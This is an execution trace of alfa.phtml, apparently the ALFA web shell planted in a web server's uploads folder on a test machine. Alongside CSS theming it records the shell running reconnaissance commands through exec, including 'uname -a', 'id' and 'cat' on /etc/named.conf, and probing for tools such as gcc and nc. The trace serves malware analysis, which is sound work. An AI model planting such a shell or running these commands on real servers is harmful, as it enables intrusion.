4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.button:hover,#addup:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'outputs_text'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.ml1'
5	235	0	0.025473	2802400	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'outputs_text'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#67ABDF', 'multi_selector' => ['.ml1' => 'color: {color};']]
5	235	1	0.025503	2802400
5	235	R			'#67ABDF'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#67ABDF'
5	236	0	0.025527	2802400	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#67ABDF'	'color: {color};'
5	236	1	0.025542	2802536
5	236	R			'color: #67ABDF;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'color: #67ABDF;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.ml1{color: #67ABDF;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'outputs_border'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.ml1'
5	237	0	0.025620	2802360	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'outputs_border'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.ml1' => 'border: 1px solid {color};']]
5	237	1	0.025655	2802360
5	237	R			'#0E304A'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#0E304A'
5	238	0	0.025679	2802360	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#0E304A'	'border: 1px solid {color};'
5	238	1	0.025695	2802512
5	238	R			'border: 1px solid #0E304A;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'border: 1px solid #0E304A;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.ml1{border: 1px solid #0E304A;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'uploader_border'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.inputfile'
5	239	0	0.025755	2802376	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'uploader_border'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.inputfile' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5	239	1	0.025788	2802376
5	239	R			'#0E304A'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#0E304A'
5	240	0	0.025812	2802376	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#0E304A'	'box-shadow:0 0 4px {color};border:1px solid {color};'
5	240	1	0.025828	2802552
5	240	R			'box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.inputfile{box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'uploader_background'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.inputfile strong'
5	241	0	0.025893	2802400	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'uploader_background'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.inputfile strong' => 'background-color: {color};']]
5	241	1	0.025925	2802400
5	241	R			'#0E304A'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#0E304A'
5	242	0	0.025949	2802400	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#0E304A'	'background-color: {color};'
5	242	1	0.025965	2802552
5	242	R			'background-color: #0E304A;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'background-color: #0E304A;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.inputfile strong{background-color: #0E304A;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'uploader_text_right'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.inputfile strong'
5	243	0	0.026030	2802376	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'uploader_text_right'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.inputfile strong' => 'color: {color};']]
5	243	1	0.026060	2802376
5	243	R			'#FFFFFF'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#FFFFFF'
5	244	0	0.026085	2802376	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	244	1	0.026100	2802512
5	244	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.inputfile strong{color: #FFFFFF;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'uploader_text_left'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.inputfile span'
5	245	0	0.026158	2802360	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'uploader_text_left'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#25ff00', 'multi_selector' => ['.inputfile span' => 'color: {color};']]
5	245	1	0.026189	2802360
5	245	R			'#25ff00'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#25ff00'
5	246	0	0.026213	2802360	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#25ff00'	'color: {color};'
5	246	1	0.026228	2802496
5	246	R			'color: #25ff00;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'color: #25ff00;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.inputfile span{color: #25ff00;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'uploader:hover'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.inputfile:hover'
5	247	0	0.026286	2802360	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'uploader:hover'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#27979B', 'multi_selector' => ['.inputfile:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5	247	1	0.026318	2802360
5	247	R			'#27979B'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#27979B'
5	248	0	0.026342	2802360	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#27979B'	'box-shadow:0 0 4px {color};border:1px solid {color};'
5	248	1	0.026359	2802536
5	248	R			'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'uploader_progress_bar'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.up_bar'
5	249	0	0.026423	2802400	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'uploader_progress_bar'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#00ff00', 'multi_selector' => ['.up_bar' => 'background-color: {color};']]
5	249	1	0.026453	2802400
5	249	R			'#00ff00'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#00ff00'
5	250	0	0.026477	2802400	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#00ff00'	'background-color: {color};'
5	250	1	0.026493	2802552
5	250	R			'background-color: #00ff00;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'background-color: #00ff00;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.up_bar{background-color: #00ff00;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'mysql_tables'
5	251	0	0.026542	2802376	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	630	1	'mysql_tables'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = '#00FF00'
5	251	1	0.026567	2802376
5	251	R			'#00FF00'
4		A						/var/www/html/uploads/alfa.phtml	630	$value = '#00FF00'
4		A						/var/www/html/uploads/alfa.phtml	631	$css .= '.mysql_tables{color: #00FF00;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'mysql_table_count'
5	252	0	0.026613	2802376	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	630	1	'mysql_table_count'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = '#67ABDF'
5	252	1	0.026642	2802376
5	252	R			'#67ABDF'
4		A						/var/www/html/uploads/alfa.phtml	630	$value = '#67ABDF'
4		A						/var/www/html/uploads/alfa.phtml	631	$css .= '.mysql_table_count{color: #67ABDF;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'copyright'
5	253	0	0.026688	2802376	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	630	1	'copyright'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = '#dfff00'
5	253	1	0.026712	2802376
5	253	R			'#dfff00'
4		A						/var/www/html/uploads/alfa.phtml	630	$value = '#dfff00'
4		A						/var/www/html/uploads/alfa.phtml	631	$css .= '.copyright{color: #dfff00;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'scrollbar'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '*::-webkit-scrollbar-thumb'
5	254	0	0.026768	2802376	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'scrollbar'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#1e82b5', 'multi_selector' => ['*::-webkit-scrollbar-thumb' => 'background-color: {color};']]
5	254	1	0.026799	2802376
5	254	R			'#1e82b5'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#1e82b5'
5	255	0	0.026824	2802376	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#1e82b5'	'background-color: {color};'
5	255	1	0.026840	2802528
5	255	R			'background-color: #1e82b5;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'background-color: #1e82b5;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '*::-webkit-scrollbar-thumb{background-color: #1e82b5;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'scrollbar_background'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '*::-webkit-scrollbar-track'
5	256	0	0.026902	2803400	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'scrollbar_background'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#000115', 'multi_selector' => ['*::-webkit-scrollbar-track' => 'background-color: {color};']]
5	256	1	0.026934	2803400
5	256	R			'#000115'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#000115'
5	257	0	0.026957	2803400	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#000115'	'background-color: {color};'
5	257	1	0.026973	2803552
5	257	R			'background-color: #000115;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'background-color: #000115;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '*::-webkit-scrollbar-track{background-color: #000115;}'
4	126	1	0.027013	2803344
4	126	R			'.header{border: 7px solid #0E304A}#meunlist{border-color: #0E304A}#hidden_sh{background-color: #0E304A}.ajaxarea{border: 1px solid #0E304A}.foot{border-color: #0E304A}.header_vars{color: #27979B;}.header_values{color: #67ABDF;}.header_on{color: #00FF00;}.header_off{color: #ff0000;}.header_none{color: #00FF00;}.home_shell{color: #ff0000;}.home_shell:hover{color: #FFFFFF;}.back_shell{color: #efbe73;}.back_shell:hover{color: #FFFFFF;}.header_pwd{color: #00FF00;}.header_pwd:hover{color: #FFFFFF;}.header_drive{c'
4	258	0	0.027267	2786960	htmlspecialchars	0		/var/www/html/uploads/alfa.phtml	1073	1	'/var/www/html/uploads/'
4	258	1	0.027286	2787152
4	258	R			'/var/www/html/uploads/'
4	259	0	0.027304	2787072	htmlspecialchars	0		/var/www/html/uploads/alfa.phtml	1074	1	'FilesMan2'
4	259	1	0.027318	2787264
4	259	R			'FilesMan2'
4	260	0	0.027333	2787120	htmlspecialchars	0		/var/www/html/uploads/alfa.phtml	1075	1	'Windows-1251'
4	260	1	0.027347	2787312
4	260	R			'Windows-1251'
4	261	0	0.028103	2799248	__showicon	1		/var/www/html/uploads/alfa.phtml	1086	1	'loader'
4		A						/var/www/html/uploads/alfa.phtml	1237	$s['btn'] = 'http://solevisible.com/images/btn.png'
4		A						/var/www/html/uploads/alfa.phtml	1238	$s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4		A						/var/www/html/uploads/alfa.phtml	1239	$s['loader'] = 'http://solevisible.com/images/loader.svg'
4	261	1	0.028160	2799248
4	261	R			'http://solevisible.com/images/loader.svg'
4	262	0	0.028178	2799248	alfaEx	1		/var/www/html/uploads/alfa.phtml	1087	4	'uname -a'	FALSE	FALSE	???
5	263	0	0.028194	2799248	_alfa_php_cmd	1		/var/www/html/uploads/alfa.phtml	744	2	'uname -a'	FALSE
5		A						/var/www/html/uploads/alfa.phtml	758	$out = ''
6	264	0	0.028219	2799248	function_exists	0		/var/www/html/uploads/alfa.phtml	761	1	'exec'
6	264	1	0.028233	2799288
6	264	R			TRUE
6	265	0	0.028247	2799272	exec	0		/var/www/html/uploads/alfa.phtml	762	2	'uname -a'	''
6	265	1	0.029541	2800032
6	265	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
6	266	0	0.029576	2799808	join	0		/var/www/html/uploads/alfa.phtml	763	2	'\n'	[0 => 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux']
6	266	1	0.029615	2799872
6	266	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
5		A						/var/www/html/uploads/alfa.phtml	763	$out = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
5	263	1	0.029656	2799408
5	263	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
4		A						/var/www/html/uploads/alfa.phtml	744	$data = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
4	262	1	0.029692	2799408
4	262	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
3		A						/var/www/html/uploads/alfa.phtml	1087	$cmd_uname = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
4	267	0	0.029728	2799408	function_exists	0		/var/www/html/uploads/alfa.phtml	1088	1	'php_uname'
4	267	1	0.029743	2799448
4	267	R			TRUE
4	268	0	0.029756	2799408	php_uname	0		/var/www/html/uploads/alfa.phtml	1088	0
4	268	1	0.029770	2799520
4	268	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
4	269	0	0.029789	2799520	substr	0		/var/www/html/uploads/alfa.phtml	1088	3	'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'	0	120
4	269	1	0.029807	2799616
4	269	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
3		A						/var/www/html/uploads/alfa.phtml	1088	$uname = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
3		A						/var/www/html/uploads/alfa.phtml	1098	$s = 1
3		A						/var/www/html/uploads/alfa.phtml	1098	$s++
3		A						/var/www/html/uploads/alfa.phtml	1098	$s++
3		A						/var/www/html/uploads/alfa.phtml	1098	$s++
3		A						/var/www/html/uploads/alfa.phtml	1098	$s++
3		A						/var/www/html/uploads/alfa.phtml	1098	$s++
3		A						/var/www/html/uploads/alfa.phtml	1098	$s++
3		A						/var/www/html/uploads/alfa.phtml	1098	$s++
3		A						/var/www/html/uploads/alfa.phtml	1098	$s++
3		A						/var/www/html/uploads/alfa.phtml	1098	$s++
3		A						/var/www/html/uploads/alfa.phtml	1098	$s++
4	270	0	0.029933	2800800	phpversion	0		/var/www/html/uploads/alfa.phtml	1116	0
4	270	1	0.029946	2800864
4	270	R			'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
4	271	0	0.029964	2801312	date	0		/var/www/html/uploads/alfa.phtml	1124	1	'Y-m-d H:i:s'
4	271	1	0.030024	2803664
4	271	R			'2023-02-12 22:27:34'
4	272	0	0.030046	2801584	_alfa_file	1		/var/www/html/uploads/alfa.phtml	1130	2	'/etc/named.conf'	FALSE
5	273	0	0.030063	2801584	file	0		/var/www/html/uploads/alfa.phtml	2507	1	'/etc/named.conf'
5	273	1	0.030090	2801736
5	273	R			FALSE
4		A						/var/www/html/uploads/alfa.phtml	2507	$array = FALSE
5	274	0	0.030116	2801696	alfaEx	1		/var/www/html/uploads/alfa.phtml	2509	4	'id'	FALSE	FALSE	???
6	275	0	0.030130	2801696	_alfa_php_cmd	1		/var/www/html/uploads/alfa.phtml	744	2	'id'	FALSE
6		A						/var/www/html/uploads/alfa.phtml	758	$out = ''
7	276	0	0.030153	2801696	function_exists	0		/var/www/html/uploads/alfa.phtml	761	1	'exec'
7	276	1	0.030167	2801736
7	276	R			TRUE
7	277	0	0.030179	2801720	exec	0		/var/www/html/uploads/alfa.phtml	762	2	'id'	''
7	277	1	0.031603	2802320
7	277	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
7	278	0	0.031632	2802176	join	0		/var/www/html/uploads/alfa.phtml	763	2	'\n'	[0 => 'uid=33(www-data) gid=33(www-data) groups=33(www-data)']
7	278	1	0.031651	2802240
7	278	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6		A						/var/www/html/uploads/alfa.phtml	763	$out = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6	275	1	0.031682	2801776
6	275	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5		A						/var/www/html/uploads/alfa.phtml	744	$data = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5	274	1	0.031717	2801776
5	274	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5	279	0	0.031734	2801696	addslashes	0		/var/www/html/uploads/alfa.phtml	2510	1	'/etc/named.conf'
5	279	1	0.031748	2801728
5	279	R			'/etc/named.conf'
5	280	0	0.031764	2801744	alfaEx	1		/var/www/html/uploads/alfa.phtml	2510	4	'cat "/etc/named.conf"'	FALSE	FALSE	???
6	281	0	0.031779	2801744	_alfa_php_cmd	1		/var/www/html/uploads/alfa.phtml	744	2	'cat "/etc/named.conf"'	FALSE
6		A						/var/www/html/uploads/alfa.phtml	758	$out = ''
7	282	0	0.031804	2801744	function_exists	0		/var/www/html/uploads/alfa.phtml	761	1	'exec'
7	282	1	0.031818	2801784
7	282	R			TRUE
7	283	0	0.031831	2801768	exec	0		/var/www/html/uploads/alfa.phtml	762	2	'cat "/etc/named.conf"'	''
7	283	1	0.032768	2801888
7	283	R			''
7	284	0	0.032790	2801824	join	0		/var/www/html/uploads/alfa.phtml	763	2	'\n'	[]
7	284	1	0.032804	2801888
7	284	R			''
6		A						/var/www/html/uploads/alfa.phtml	763	$out = ''
6	281	1	0.032830	2801744
6	281	R			''
5		A						/var/www/html/uploads/alfa.phtml	744	$data = ''
5	280	1	0.032854	2801744
5	280	R			''
4		A						/var/www/html/uploads/alfa.phtml	2510	$data = ''
4	272	1	0.032878	2801696
4	272	R			FALSE
3		A						/var/www/html/uploads/alfa.phtml	1130	$d0mains = FALSE
3		A						/var/www/html/uploads/alfa.phtml	1131	GLOBALS['need_to_update_header'] = 'true'
4	285	0	0.032918	2801696	alfaSize	1		/var/www/html/uploads/alfa.phtml	1146	1	232015802368
5	286	0	0.032933	2801696	sprintf	0		/var/www/html/uploads/alfa.phtml	2411	2	'%1.2f'	216.08155441284
5	286	1	0.032949	2802080
5	286	R			'216.08'
4	285	1	0.032963	2801736
4	285	R			'216.08 GB'
4	287	0	0.032978	2801920	alfaSize	1		/var/www/html/uploads/alfa.phtml	1146	1	195997663232
5	288	0	0.032992	2801920	sprintf	0		/var/www/html/uploads/alfa.phtml	2411	2	'%1.2f'	182.53704833984
5	288	1	0.033006	2802304
5	288	R			'182.54'
4	287	1	0.033020	2801960
4	287	R			'182.54 GB'
3		A						/var/www/html/uploads/alfa.phtml	1149	$useful_downloader = '<tr><td height="18" colspan="2"><span class="header_vars">useful:</span><span class="header_values" id="header_useful">--------------</span></td></tr><td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" id="header_downloader">--------------</span></td></tr>'
4	289	0	0.033057	2801696	ini_get	0		/var/www/html/uploads/alfa.phtml	1150	1	'safe_mode'
4	289	1	0.033071	2801728
4	289	R			FALSE
4	290	0	0.033084	2801696	alfaEx	1		/var/www/html/uploads/alfa.phtml	1151	4	'id'	FALSE	FALSE	???
5	291	0	0.033098	2801696	_alfa_php_cmd	1		/var/www/html/uploads/alfa.phtml	744	2	'id'	FALSE
5		A						/var/www/html/uploads/alfa.phtml	758	$out = ''
6	292	0	0.033122	2801696	function_exists	0		/var/www/html/uploads/alfa.phtml	761	1	'exec'
6	292	1	0.033135	2801736
6	292	R			TRUE
6	293	0	0.033148	2801720	exec	0		/var/www/html/uploads/alfa.phtml	762	2	'id'	''
6	293	1	0.034356	2802320
6	293	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6	294	0	0.034383	2802176	join	0		/var/www/html/uploads/alfa.phtml	763	2	'\n'	[0 => 'uid=33(www-data) gid=33(www-data) groups=33(www-data)']
6	294	1	0.034400	2802240
6	294	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5		A						/var/www/html/uploads/alfa.phtml	763	$out = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5	291	1	0.034430	2801776
5	291	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
4		A						/var/www/html/uploads/alfa.phtml	744	$data = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
4	290	1	0.034459	2801776
4	290	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
3		A						/var/www/html/uploads/alfa.phtml	1153	$userful = [0 => 'gcc', 1 => 'lcc', 2 => 'cc', 3 => 'ld', 4 => 'make', 5 => 'php', 6 => 'perl', 7 => 'python', 8 => 'ruby', 9 => 'tar', 10 => 'gzip', 11 => 'bzip', 12 => 'bzialfa2', 13 => 'nc', 14 => 'locate', 15 => 'suidperl']
3		A						/var/www/html/uploads/alfa.phtml	1154	$x = 0
4	295	0	0.034513	2801696	alfaWhich	1		/var/www/html/uploads/alfa.phtml	1155	1	'gcc'
5	296	0	0.034528	2801736	alfaEx	1		/var/www/html/uploads/alfa.phtml	2404	4	'which gcc'	FALSE	FALSE	???
6	297	0	0.034542	2801736	_alfa_php_cmd	1		/var/www/html/uploads/alfa.phtml	744	2	'which gcc'	FALSE
6		A						/var/www/html/uploads/alfa.phtml	758	$out = ''
7	298	0	0.034566	2801736	function_exists	0		/var/www/html/uploads/alfa.phtml	761	1	'exec'
7	298	1	0.034586	2801776
7	298	R			TRUE
7	299	0	0.034599	2801760	exec	0		/var/www/html/uploads/alfa.phtml	762	2	'which gcc'	''
7	299	1	0.035890	2802280
7	299	R			'/usr/bin/gcc'
7	300	0	0.035923	2802176	join	0		/var/www/html/uploads/alfa.phtml	763	2	'\n'	[0 => '/usr/bin/gcc']
7	300	1	0.035941	2802240
7	300	R			'/usr/bin/gcc'
6		A						/var/www/html/uploads/alfa.phtml	763	$out = '/usr/bin/gcc'
6	297	1	0.035970	2801776
6	297	R			'/usr/bin/gcc'
5		A						/var/www/html/uploads/alfa.phtml	744	$data = '/usr/bin/gcc'
5	296	1	0.035997	2801776
5	296	R			'/usr/bin/gcc'
4		A						/var/www/html/uploads/alfa.phtml	2404	$path = '/usr/bin/gcc'
4	295	1	0.036023	2801696
4	295	R			12
3		A						/var/www/html/uploads/alfa.phtml	1155	$x++
4	301	0	0.036049	2801696	alfaWhich	1		/var/www/html/uploads/alfa.phtml	1155	1	'lcc'
5	302	0	0.036063	2801736	alfaEx	1		/var/www/html/uploads/alfa.phtml	2404	4	'which lcc'	FALSE	FALSE	???
6	303	0	0.036077	2801736	_alfa_php_cmd	1		/var/www/html/uploads/alfa.phtml	744	2	'which lcc'	FALSE
6		A						/var/www/html/uploads/alfa.phtml	758	$out = ''
7	304	0	0.036102	2801736	function_exists	0		/var/www/html/uploads/alfa.phtml	761	1	'exec'
7	304	1	0.036116	2801776
7	304	R			TRUE
7	305	0	0.036129	2801760	exec	0		/var/www/html/uploads/alfa.phtml	762	2	'which lcc'	''
7	305	1	0.037785	2801880
7	305	R			''
7	306	0	0.037822	2801816	join	0		/var/www/html/uploads/alfa.phtml	763	2	'\n'	[]
7	306	1	0.037840	2801880
7	306	R			''
6		A						/var/www/html/uploads/alfa.phtml	763	$out = ''
6	303	1	0.037867	2801736
6	303	R			''
5		A						/var/www/html/uploads/alfa.phtml	744	$data = ''
5	302	1	0.037892	2801736
5	302	R			''
4		A						/var/www/html/uploads/alfa.phtml	2404	$path = ''
4	301	1	0.037917	2801696
4	301	R			FALSE
4	307	0	0.037933	2801696	alfaWhich	1		/var/www/html/uploads/alfa.phtml	1155	1	'cc'
5	308	0	0.037948	2801736	alfaEx	1		/var/www/html/uploads/alfa.phtml	2404	4	'which cc'	FALSE	FALSE	???
6	309	0	0.037963	2801736	_alfa_php_cmd	1		/var/www/html/uploads/alfa.phtml	744	2	'which cc'	FALSE
6		A						/var/www/html/uploads/alfa.phtml	758	$out = ''
7	310	0	0.037988	2801736	function_exists	0		/var/www/html/uploads/alfa.phtml	761	1	'exec'
7	310	1	0.038003	2801776
7	310	R			TRUE
7	311	0	0.038016	2801760	exec	0		/var/www/html/uploads/alfa.phtml	762	2	'which cc'	''
7	311	1	0.039393	2802280
7	311	R			'/usr/bin/cc'
7	312	0	0.039422	2802176	join	0		/var/www/html/uploads/alfa.phtml	763	2	'\n'	[0 => '/usr/bin/cc']
7	312	1	0.039440	2802240
7	312	R			'/usr/bin/cc'
6		A						/var/www/html/uploads/alfa.phtml	763	$out = '/usr/bin/cc'
6	309	1	0.039468	2801776
6	309	R			'/usr/bin/cc'
5		A						/var/www/html/uploads/alfa.phtml	744	$data = '/usr/bin/cc'
5	308	1	0.039494	2801776
5	308	R			'/usr/bin/cc'
4		A						/var/www/html/uploads/alfa.phtml	2404	$path = '/usr/bin/cc'
4	307	1	0.039518	2801696
4	307	R			11
3		A						/var/www/html/uploads/alfa.phtml	1155	$x++
4	313	0	0.039545	2801696	alfaWhich	1		/var/www/html/uploads/alfa.phtml	1155	1	'ld'
5	314	0	0.039558	2801736	alfaEx	1		/var/www/html/uploads/alfa.phtml	2404	4	'which ld'	FALSE	FALSE	???
6	315	0	0.039573	2801736	_alfa_php_cmd	1		/var/www/html/uploads/alfa.phtml	744	2	'which ld'	FALSE
6		A						/var/www/html/uploads/alfa.phtml	758	$out = ''
7	316	0	0.039597	2801736	function_exists	0		/var/www/html/uploads/alfa.phtml	761	1	'exec'
7	316	1	0.039611	2801776
7	316	R			TRUE
7	317	0	0.039624	2801760	exec	0		/var/www/html/uploads/alfa.phtml	762	2	'which ld'	''
7	317	1	0.040849	2802280
7	317	R			'/usr/bin/ld'
7	318	0	0.040875	2802176	join	0		/var/www/html/uploads/alfa.phtml	763	2	'\n'	[0 => '/usr/bin/ld']
7	318	1	0.040892	2802240
7	318	R			'/usr/bin/ld'
6		A						/var/www/html/uploads/alfa.phtml	763	$out = '/usr/bin/ld'
6	315	1	0.040920	2801776
6	315	R			'/usr/bin/ld'
5		A						/var/www/html/uploads/alfa.phtml	744	$data = '/usr/bin/ld'
5	314	1	0.040945	2801776
5	314	R			'/usr/bin/ld'
4		A						/var/www/html/uploads/alfa.phtml	2404	$path = '/usr/bin/ld'
4	313	1	0.040978	2801696
4	313	R			11
3		A						/var/www/html/uploads/alfa.phtml	1155	$x++
4	319	0	0.041003	2801696	alfaWhich	1		/var/www/html/uploads/alfa.phtml	1155	1	'make'
5	320	0	0.041017	2801736	alfaEx	1		/var/www/html/uploads/alfa.phtml	2404	4	'which make'	FALSE	FALSE	???
6	321	0	0.041031	2801736	_alfa_php_cmd	1		/var/www/html/uploads/alfa.phtml	744	2	'which make'	FALSE
6		A						/var/www/html/uploads/alfa.phtml	758	$out = ''
7	322	0	0.041056	2801736	function_exists	0		/var/www/html/uploads/alfa.phtml	761	1	'exec'
7	322	1	0.041069	2801776
7	322	R			TRUE
7	323	0	0.041082	2801760	exec	0		/var/www/html/uploads/alfa.phtml	762	2	'which make'	''
7	323	1	0.042309	2802280
7	323	R			'/usr/bin/make'
7	324	0	0.042335	2802176	join	0		/var/www/html/uploads/alfa.phtml	763	2	'\n'	[0 => '/usr/bin/make']
7	324	1	0.042353	2802240
7	324	R			'/usr/bin/make'
6		A						/var/www/html/uploads/alfa.phtml	763	$out = '/usr/bin/make'
6	321	1	0.042380	2801776
6	321	R			'/usr/bin/make'
